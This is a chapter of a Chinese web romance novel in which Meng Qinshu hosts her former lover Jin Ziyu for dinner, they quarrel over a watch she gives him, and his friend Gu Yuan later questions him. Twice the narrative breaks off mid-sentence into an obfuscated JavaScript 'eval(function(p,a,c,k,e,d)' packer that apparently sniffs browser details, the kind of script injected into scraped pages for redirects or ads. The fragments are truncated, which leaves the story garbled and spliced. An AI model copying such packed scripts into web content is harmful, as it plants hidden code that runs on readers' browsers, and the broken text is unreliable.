孟秦书心想:或许在忙吧。 她窝进沙发里,抱着手机,点开外卖软件,选了沃尔玛超市,下单猪肉、牛肉和一些蔬菜,预约下午一点送达,备注放在门口、按两下门铃就好。 不知不觉睡着了,是被突然响起的门铃惊醒的。 她开门,地上躺着两只鼓鼓囊囊的超市购物袋。 刚弯腰碰到拎手,对面的门忽然打开了。 “小姑娘,刚搬来的吗?” 声音苍老,是位老太太。 孟秦书直起身,面向这位一头银白短卷发的时髦老人,点了点头,微微一笑。 “那一家子搬走了?不是说房子十月底才到期吗……”老太太皱着眉喃喃自语。 孟秦书正要拎袋子,老太太又忍不住问:“小姑娘,你一个人住啊?” “一个人。”她答。 “做什么工作的呀?”老太太浑浊的眼里闪过一丝讶异。 孟秦书大概明白她在惊讶什么——这儿的房租不便宜,寻常工作可负担不起。 她随口编道:“视频主播。” 老太太眼底马上划过一丝若有若无的嫌弃,极轻地“哦”了一声,随后退回屋里,拉上了房门。 厨房出来,靳子煜的信息回了过来。 他说,这三天他都在京大交流,上午一直在开会,中午吃饭时看到了她的消息,本来要回,被同行的老师打断了,后来就忘了。现在刚结束下午的学术活动,正准备出发去机场,预计四点能到。 这是第一条。他认真解释了原因,却没说来不来吃饭。 第二条是十分钟后发来的。孟秦书正在切牛肉,放下刀,用厨房纸擦净手,拿起手机。 YU:【六点到。】 —— 靳子煜五点十分回到公寓。 他走进房间,换下挺括的白衬衫和西裤,穿上深咖色Polo衫和黑色休闲长裤。 临出门前,他从玄关柜里取出一只深蓝色礼品袋,把假肢机构定制的包跟拖鞋竖着放进去,拎着袋子关上了门。 夏日的太阳,即便到了傍晚依旧灼眼。天边的云被晕染成层层叠叠的金红。 孟秦书整个人沐在橙红交织的晚霞中,她俯瞰楼下人来人往的小区主路,尽管知道汽车不会从这里开过,仍会有一丝不切实际的期许,如果靳子煜在人群中呢。 厨房里,砂锅炖的红烧牛肉又一次滚沸,咸鲜的香气飘到阳台,钻进她的鼻尖。 觉得时间差不多了,孟秦书拉起窗帘,转身径直走入厨房。 门铃声响起时,孟秦书刚摆好饭菜,她急匆匆地过去开门。 靳子煜站在门口,一手握着手杖,一手拎着一个礼品袋。 礼品袋是浅蓝色的,里面是一双灰色的绒毛鞋子,类似乐福鞋。 上门自备拖鞋,她有些被靳子煜的操作震惊到,只能吞咽一口唾沫来让自己表现得不那么失措。 孟秦书视线快速从袋子上掠过,抬头迎上靳子煜漆黑明亮的眼睛。 他太高了,虽然她也不矮,眼前因被他挡住光线而落下一小片阴影。 她退着往里走了数步,虚靠着玄关墙壁,请他进屋。 靳子煜拄着手杖进门,用拎袋子的手将门轻轻地关上。他低眸,就看见鞋凳前那双深蓝色四季款男士拖鞋。 拖鞋颜色鲜艳,亦没有踩踏痕迹,纯新的。 孟秦书顺着他的视线看去,连忙弯腰将它拿起,拉开对面的鞋柜放了进去。 她正想着米饭还没盛,刚要转身,却听见靳子煜在身后低声开口:“假肢穿不住普通拖鞋。这双是定制的,家里常备着……虽然我平时很少穿它们。” 孟秦书回过头,正瞧见他将礼品袋轻轻地丢在凳子旁。 手杖也被他靠着鞋柜,然后他右手扶住柜门,指节微微曲起,借着支撑缓缓下移,慢慢坐到凳角上。 他俯下身,轻薄的衣料下透出脊柱起伏的线条。柔和的灯光铺洒下来,淡化了那些棱角的硬度。 很快他换好了鞋,抬眼对上她垂落的视线。 四目相接间,他眼瞳里盛着大片光,像天际明亮的星,轻轻一弯:“我会带回去的,不能让别人误会。” 孟秦书心跳漏了一拍,说不上来的感觉。一时接不上话,她转身往厨房走去。 餐厅桌上,香菇青菜、红烧鲈鱼、红烧牛肉、清炒四季豆,再加一盅菌菇汤,四菜一汤正冒着腾腾热气。 孟秦书见靳子煜愣愣地站在椅子侧边,笑笑说:“尝尝我的手艺,没你做的好吃,但也凑合。” 他的惊讶,她意料之中。 多年前,她别说整这一桌子菜了,煮个馄饨都能煮成片汤。 那是在靳子煜家里。他右腿发炎,还发着烧,却仍要起身给她做早饭。她把他按回床上,信誓旦旦地保证,一定能给他做一顿像样的早餐。 哪曾想,光开燃气就把她难住了。 她记得家里的燃气灶,保姆一拧开关就能打开,可他家里的怎么拧都点不着火。 她只好去请教他,躺不住的人,拄着拐杖陪她进厨房给她打火。 原来是橱柜下面还有个燃气开关,得先往左拧开。 靳子煜怕她把厨房炸了,索性拖了张凳子坐在旁边,像老父亲一样一步一步教: “水开了,现在下馄饨。” “要轻轻搅,不然会粘底。” “动作别那么重……轻一点。” 最后,馄饨还是成了片儿汤。 两人对着那碗糊糊笑了半天,厨房里热气蒸腾,全是他们的笑声。靳子煜吃的时候肩膀还一抖一抖的。 从那以后,他再没让她碰过灶台。 大概真是被她的“手艺”吓怕了。 突然,楼下传来女人夸张尖锐的喊声:“晨晨!别乱跑!”声音穿透百叶帘,一把将她拽回现实。 孟秦书整个人轻颤了一下,缓缓转头,只见靳子煜原本微微上扬的嘴角,已悄然抿平。 他是不是……也想起了那碗片儿汤? 晚饭在相对无言的环境中吃完,孟秦书收拾桌子时,靳子煜说了句,我来吧。 便将她手里的饭碗拿了去,他俯身,将两支碗和两个空盘叠起来,双手捧着它们,慢慢地走进厨房。 腿形微微外八,脚步微晃。 水龙头哗啦啦地放水声中,男人清润极磁性具穿透力的声音隔着厨房移门传出。 “谢谢,饭菜很好吃。” 孟秦书盯着门玻璃上他弯身洗碗的剪影,唇角微扬。 收拾完后,孟秦书请靳子煜到沙发坐下休息。 他取了靠墙的手杖,拄着走了过去。 孟秦书则穿过客厅进了卧室,不多时拿着一个表盒出来,在他对面坐下。 “这只手表送你……谢谢你出钱帮我租房子。” 深胡桃木拼接皮质的方形表盒,边角圆润,中央的鎏金Logo泛着温润的贵气。 靳子煜目光掠过,没接。 “一个朋友知道我在港城拍广告,转了几万块钱让我帮他带只表……”孟秦书语气随意,“这些人仗着有点钱,喜欢什么都是三分钟热度。我带回来,他不要了,连钱也没让我还。我想着这么好的东西,丢了可惜,我自己又用不上……给你吧。” 靳子煜淡淡看着她,语气平直:“什么朋友?” “普通朋友。”她答。 房间空调开着,设定在22度。待了一整天都不觉得冷,此刻后颈却隐隐发凉。 她想,或许是入夜降温了。 靳子煜用一种近乎学术审视般的目光看着她,一字一句道: “普通朋友,让你带几万块的表,然后说不要就不要了,钱也不要了。” 她低低“嗯”了一声,不觉得这话里有什么漏洞。 她身边确实有这样的人。同公司那位和她咖位相近的女艺人,别说几万的表,十几万的包也是说丢就丢。 靳子煜薄唇抿成一条直线。 孟秦书说起谎来脸不红心不跳,那双黑白分明的眼睛里写满了真诚。若不是看到了热搜,他真的会被她骗过去。 呵,差点忘了,当年不正是用这种挑不出错的演技,将他骗得真以为她会爱上他。 为什么?她身边从来不缺围着她转的男人,为什么选择他,又为什么要骗他? 一股酸涩猛然从心口涌上喉咙,他重重地吞咽了一下,强行压住即将溃堤的情绪。 “孟秦书,在你眼里,我是不是只配用别人不要的东西?”他的声音又沉又哑夹着些微愠意。 客厅主灯可以调节三色,孟秦书一向调到最亮的那一档。 而此刻,光影之下,因靳子煜这句话,她脸上血色倏地褪尽,苍白得像张脆薄的纸。 孟秦书摇了摇头:“我……我不是这个意思。” 她吸了口气,继续看着他的眼睛,声音低低地说:“可我们第一次约会的时候,你不是说你身上那件衬衫是小秦借你的,耐克包是小罗硬给你挂上的,还有陈凡山借你的那条金光闪闪的爱马仕皮带……你那时候怎么……” 靳子煜脸色越来越沉,唇角微微搐着,像在极力忍耐。 她又吸了口气,续道:“你那时怎么没觉得它们是别人不要的、施舍的……那天你穿它们来见我明明很开心。” 靳子煜凝着她,牵了牵唇角,一字一句:“那是一回事吗?” “我觉得差不多……” “孟秦书——” 靳子煜一时没控制住,声音扬高了一度,但立刻意识到失态。他别开视线,将客厅扫了一圈,才重新看向她那双写满认真的眼睛。 孟秦书离开的第一年,他努力回想,两人之间相处中有哪些他遗漏的、被他忽略的、她并不爱他的证据——没有,竟然一件都没有。 他和孟秦书第一次约会前,陈凡山他们得知他要去“办大事”,嫌他平日穿得太土,于是每人拿出一件行头硬塞给他。 额发全被梳到头顶,喷上亮晶晶的发胶,白衬衫解开一粒扣子,首次穿西装裤,又因为是陈凡山上万块的裤子,他没卷裤腿,于是扁扁的裤管随风飘飞。 那天她却夸他特别帅。所以,她到底是怎么对着一个不喜欢的男人,演得那么真的? 靳子煜换了口气,索性也换了个话题:“你不是说,你在B市拍戏吗?怎么去了港城?所以,是骗我的?六年了,你还是这样。想来就来,想走就走,想骗就骗。” 那个“骗”字让孟秦书蓦地挺直了背脊。她介意这个字,就像有些人介意被说“愚蠢”一样——因为事实如此。 额前碎发垂下一缕,微掩住他冷白的额头。那张白玉般温润的侧脸线条,此刻像一把薄凉的刀。 阴影与光线交织在经脉跳动的额角以及漆黑冷漠的瞳仁里,更令她心底生寒。 她何曾见过靳子煜这副模样。心里除了发毛,还有细细密密的刺痛。 是,过去她无可辩驳,可这件事她并非存心骗他。只是……觉得以他们现在的关系,说出来反而可能惹他厌烦。 孟秦书张口,刚溢出一声“不是——” 就被靳子煜毫不客气地打断。 “你和那个叫池俊的男演员,你们一起去港城,去IWC选手表,一起上热——” 他的声音不高,甚至可以称得上温和,所有怒意都积攒在那双黑沉的眸子里,“孟秦书你能不能告诉我,你到底想做什么?我们之间现在算什么?故交?旧友?还是你一时兴起的消遣对象?” 只是越说越激动,靳子煜自己也意识到了,随即收住更多的话,仓促地别过头,看阳台上拉上的淡黄色遮阳帘,该是窗玻璃没关,帘角总被风吹起又落下。 像他此刻不稳定的心律,快速地一上一下。 孟秦书低眸,不作声,长久以来令她困惑的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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靳子煜咬住牙关数秒,将眼中的滚烫逼了回去:“你是什么样的人,我们心知肚明。你要证明魅力,要人围着你转,我理解。但你不必在我这里费心思,至于表是你买的还是别人送的,没什么分别。” “还有——” 他冷漠地盯住孟秦书发抖中的薄削双肩,心却突然一坠,仿佛一脚踏空掉下万丈深渊。 他很讨厌自己总被她轻易牵动情绪。 算什么呢。 他强迫自己移开目光,说出后半句:“我不喜欢‘竞争上岗’这种游戏。 “哐!” 茶几被猝然起身的孟秦书用腿撞开。 只见她垂在身侧的双手狠狠握紧,仿佛能听见骨节咯吱作响。 靳子煜震动的视线,从她这双手沿着剧烈起伏的身体一路往上走,最后停在她因愤怒而青白的脸上。 心脏传来一阵阵被重捏般的痛楚。他撑住沙发,勉力地站了起来。 “审判完了吗?对,我一直在骗你。” 孟秦书眸光倏然转冷,语调仍带一丝颤音:“那我告诉你,六年前在河边,我扔了你给我买的那只手镯,告诉你我‘玩腻了’,从来没爱过你,我是骗你的;这三年,你在微博、新闻里看到我代言不断,在八卦头条里看到我名利双收,所有人都说我孟秦书风光无限、如鱼得水……靳子煜,那些光鲜亮丽,也是骗你的;我买了一块手表,绞尽脑汁编一个送表的理由,我站在这里,忍受你所有的审判和讽刺——你以为这只是游戏或者证明吗?靳子煜,这还是骗你的。” “你信吗?” 恍若被闪电击中,靳子煜身体骤然一震,脸色转瞬惨白。 他双唇哆嗦着,那双盈满泪水的眼睛仿佛波涛汹涌的海面。 孟秦书看着他的样子,抽了抽鼻子,将泛滥的酸楚咽下喉咙。 靳子煜在背后怎么骂她、怎么设想她这个人,她听不见,尚且可以掩耳盗铃。她承认自己有罪,但他曲解她、假想她,通过贬低他自己来侮辱她,那么,她就不可能再任由他“胡言乱语”。 孟秦书扬起下巴,天性里的矜傲显露无遗:“我是个说谎精,我不否认。但靳子煜,如果我真想玩,有的是人排着队陪我玩深情游戏,我何必在你这里费尽心思编这么蹩脚的理由?同理,如果我对你真的一文不值,你又何必坐在这里,字斟句酌地羞辱我?” 这句话落下,靳子煜退后半步。可她惨淡的脸色、她的眼泪、那一两分悔意,还有她咄咄逼人的语气,彻底扰乱了他大脑的思考能力。 某根神经仿佛扎进了烧红的针,火炙般的痛感在分秒间游走全身。 “何必呢?”他轻笑摇头,笑自己。 眼前这个女人,他曾贪恋她的美丽,贪恋她只对他绽放的笑颜,贪恋她留在他身上的温度……是他不自量力了。 靳子煜的眼神不复温煦,变得冷酷而凌厉:“孟小姐这是戏瘾又犯了吗?你设计的剧本里,是不是连我的反应都算好了?愤怒、受伤,然后在你揭晓‘真相’时愧疚、感动?靳子煜这个残废,应该对你感恩戴德,对吗?” 如遭冰水浇头,孟秦书浑身的血液都冷透了。 她下意识后退,小腿磕在沙发边缘上,微末的力道却让她瞬间失去平衡,跌坐进沙发里。 没有痛感,只有一种彻骨的清醒。 她彻底明白了。 靳子煜对她的恨,早已浸入骨髓。她所有的出现、解释乃至此刻捧出的心意,他眼里不过是一场刻意又拙劣的表演。 那只手表盒,此刻成了罪魁祸首。在她眼里忽然无比刺目,巨大的荒谬感和绝望如岩浆般喷涌,须臾,烧干了她眼底的泪意,她伸手一把抓住盒子。 噌地起身,手指竭力掐着盒身,用力到指节泛白。 靳子煜旋即察觉到孟秦书的不对,他心里顿慌,朝她伸出手,可还是迟了一步。 孟秦书绕过茶几,径直快步走向阳台。 “小书!!” 靳子煜心中大骇,不及思考,跌撞地冲过去,眼看她双臂一展,拉开帘子。 浓稠的黑暗将她身形包裹,铺天盖地的大恐慌刹那间攫住了靳子煜的喉咙。 腿下一绊,他重重摔在地上,“砰”一声闷响,地面震动。 而他伸到极限的指尖只差一寸就能抓住她的脚踝。 他喉咙里撕心裂肺地喊,不要!不要! 14. 第 14 章 靳子煜抬头锁住她冷绝的背影,手脚并用地往前爬,一把抱住她的两条小腿,用尽全力紧紧裹住。几乎同时孟秦书扬起手臂,铆足力气将手表盒掷了出去。 夜风还带着白日的燥热,靳子煜喘着气,额头抵着她的小腿,浑身发颤。 半晌,那只手表盒哒一声掉落在他身侧。 靳子煜看着它瞳孔微微缩动,什么跳楼,什么扔盒子,不过肾上腺素剧增下的知觉扭曲。 他松开手,瘫回地上。嘴角缓缓拉出一个似笑非笑的弧度,眼神却像是冬夜里的深海没有一丝温度。 这场闹剧,终结于孟秦书蹲下身向靳子煜道歉。 浓云不知何时散开,幽白月光落在孟秦书左肩,又随着她起身退步,移向借她手臂之力站起的靳子煜侧脸。 薄冷的光将他面容切割得明暗分明,透出浓重的寒。 孟秦书走过去拾起他的手杖,递还时指尖无意擦过他小指——外侧也是一片冰凉。 她悄悄抬眼:略显苍白的唇,高挺的鼻,沉寂幽暗的眼,凌乱的发。这个人笑时温和有礼,不笑时却冷凝肃然。 他方才顺口说了句“没事”。不然呢?以他的教养与风度,不过是不愿再与她无谓纠缠罢了。 月亮再次躲进云层,剩下的只是一片青灰色的回光在天际荡漾。 “啪嗒” 轻微的关门声落下。 靳子煜走了,孟秦书望着那扇门,闷闷的脚步声停在电梯门前。她似乎听见了来自他的一声长长的叹息。 眼前这间房瞬时变成模糊的色块,她快速眨了两下眼睛,弯腰拾起了手表盒。 圆润的棱角硌得她手心竟有点疼。 电梯缓缓合拢。靳子煜抬手按下负一楼,便倚着厢壁,抬头看屏幕上即将跳动的红色数字。 累,前所未有的累。 整个人仿佛连灵魂都被抽碾出去,只剩无力的空壳。喉间像点了一把火,灼得发干。 他握紧手杖,手背青筋绷起。 电梯开始下行。 他不该来的。可……不知该如何拒绝她。 侧眸,视线落在垂在身侧的左手上,手指正不受控地轻颤。他用这只手解开Polo衫第一颗纽扣,那股难以名状的挤压感,才得缓解一丝。 “叮——” 电梯到了。 靳子煜撑着手杖站直,正要向外迈步—— 门外的白光里,蓦地跑进一道浅蓝色的高瘦身影。紧接着,顾远的声音响了起来:“我没看错吧?刚才在你家阳台上的是……孟秦书?” 靳子煜眼神一晃,抬眸看向楼层数字。 电梯停在一楼,而不是负一楼。 顾远已走到他面前,仔细看了看他的脸色,不只是苍白,更透着一股沉郁的倦意。 察觉他的异样,顾远皱起眉头:“怎么回事?” 靳子煜迟缓地转动眼珠,直到与他对视,慢了半拍才道:“我下负一楼。” 顾远住在八楼,本该上行。但此刻他改了主意,索性退回靳子煜身侧,用胳膊肘碰了碰他:“我真没眼花?孟秦书怎么会在你家?” 靳子煜瞥他一眼,重复:“我下楼。” “我跟你一起下。”顾远说。 方才,顾远如常沿着小区主干道往家走,视线忽然被靳子煜家阳台上的一道纤长身影攥住。 那人正面向这边。夜色浓稠,路灯昏黄,又隔得有些远,他虽未能看清五官,却能辨出是个女人,她个子很高,约莫一米七上下,上身素色短袖,露出的手臂细长雪白。 这副身姿、轮廓,实在像极了一位故人。 然而下一瞬,女人扬起手臂,狠狠地向外一掷,像是扔了什么东西出去。 却没听见落地声响。再抬头去看,阳台上已空无一人。 他在原地怔了足有十分钟,才想起该回家。本打算到了屋里就给靳子煜打电话问问,哪知电梯门一开,刚巧撞见了本人。 嚯,所以子煜当时也在房里? 那——原来住着的那一家四口,已经搬走了? 顾远住在八楼802,租的房子。而就在前年靳子煜听他说这里环境不错,于是拿出自己的一部分积蓄买了这边的房子。 顾远后来问他是不是打算在这里安家落户,靳子煜当时笑笑说,可能吧,但暂时没打算住,先把它放中介出租,就当投资。 上学时候,靳子煜积极参加各种大赛,光那几年累积的竞赛收入保守都有七八百万。 不像他,读书时候学业繁重,毕业后又是规培、又是考职称,每个月领着不够花的工资,到现在还得靠家里接济。 一出电梯,顾远就将靳子煜给拦了下来。 为避免旁人注目,两人往旁边挪了几步,挨着墙根站定。你看着我,我看着你,谁也没先开口。 果然,指望这个闷葫芦主动交代是不可能的。顾远暗自腹诽:这人除了脑子聪明点、模样俊俏点,还有什么优点?转念想到靳子煜和自己都是年近三十仍孑然一身,心里倒是稍微平衡了些。 不对,孟秦书是什么情况?他们两个......在一个房间,难道是又在一起了?这小子瞒的可够紧,一点口风都没露。 顾远不跟他绕弯子了:“你和孟秦书......和好了?” “没有。”靳子煜言简意赅,瞳眸冷沉。 顾远:“那她怎么在楼上?” 有一部黑色的宝马从远处直开过来,大灯打在他们身上,刺得两人微阖双眸。 待车辆右转,光束转移之后,靳子煜才答:“她租了我的房子。” 他从不说谎。 心头一跳,握着杖柄的手指逐渐收拢,靳子煜忽然意识到,自己已说了两个谎。先是对孟秦书谎称房子是朋友的,现在又骗了顾远。 他不住地复盘说谎的缘由:骗孟秦书,是不愿与她有过多牵扯;骗顾远,是不想深谈此事。 可骗了就是骗了。 “你在跟我开玩笑吗?”顾远只觉得这话比实习生说要给主任当一助还离谱,“孟小姐、大明星!需要租房子?关键一差不差地租到了你的房子?” 到底是靳子煜被骗了还是靳子煜骗了他? 说话间,左后方的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女儿凑到老人耳边,压低声音说:“肯定是主任带的学生,能在这儿看诊的,水平都不差的,妈您就放心吧。” 顾远听见了,眼角犹挂笑,余光不经意瞥到门上那扇玻璃窗,就看到了门外的戴着老气短卷发的孟秦书。 从她踟蹰的身形中,可见她是有事找他。目光一接触,孟秦书像是确认他已看见,便转身离开了。 老奶奶将信将疑地打量完顾远,犹豫了一下,还是不放心:“他……看着像刚出校门的……是不是实习生啊?” 干这行年轻、好看,有时反倒成了让人不放心的理由。 顾远习以为常了,他指了指自己的胸牌——神经外科,主治医师,顾远,几行字印在他那张帅得人神共愤的证件照旁。 ...... 最后一名病人离开,顾远双手插进白大褂口袋,不疾不徐地走出诊室。穿过略显嘈杂的门诊区,他一眼就看到了站在玻璃护栏前的孟秦书。